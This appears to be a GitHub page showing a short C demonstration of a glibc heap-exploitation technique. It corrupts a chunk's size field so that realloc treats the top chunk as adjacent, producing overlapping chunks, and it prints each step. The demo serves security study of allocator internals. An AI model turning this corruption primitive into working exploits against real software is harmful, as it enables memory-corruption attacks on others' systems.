Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
typedef size_t INTERNAL_SIZE_T;
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
int main(int argc, const char* argv[]) {
printf("the goal of this example is to create overlapping chunks via the " \
"corruption of the size field of a chunk passed into realloc, " \
"making top its next chunk \n");
void *mem = malloc(0x400);
mchunkptr victim = (mchunkptr)((char*)mem - offsetof(struct malloc_chunk, fd));
printf("allocated victim chunk with requested size 0x400 at %p, " \
"victim->size == 0x%zx\n", (void *)mem, victim->size);
void *target = malloc(0x400);
printf("allocated target chunk at %p, residing between victim and top\n", target);
printf("emulating corruption of the size of victim so that top appears " \
"to be its next chunk\n");
victim->prev_size = 0;
victim->size = 0x821;
printf("reallocating victim with size 0x1000\n");
void *mem2 = realloc(mem, 0x1000);
printf("realloc returned: %p\n", mem2);
return 0;
}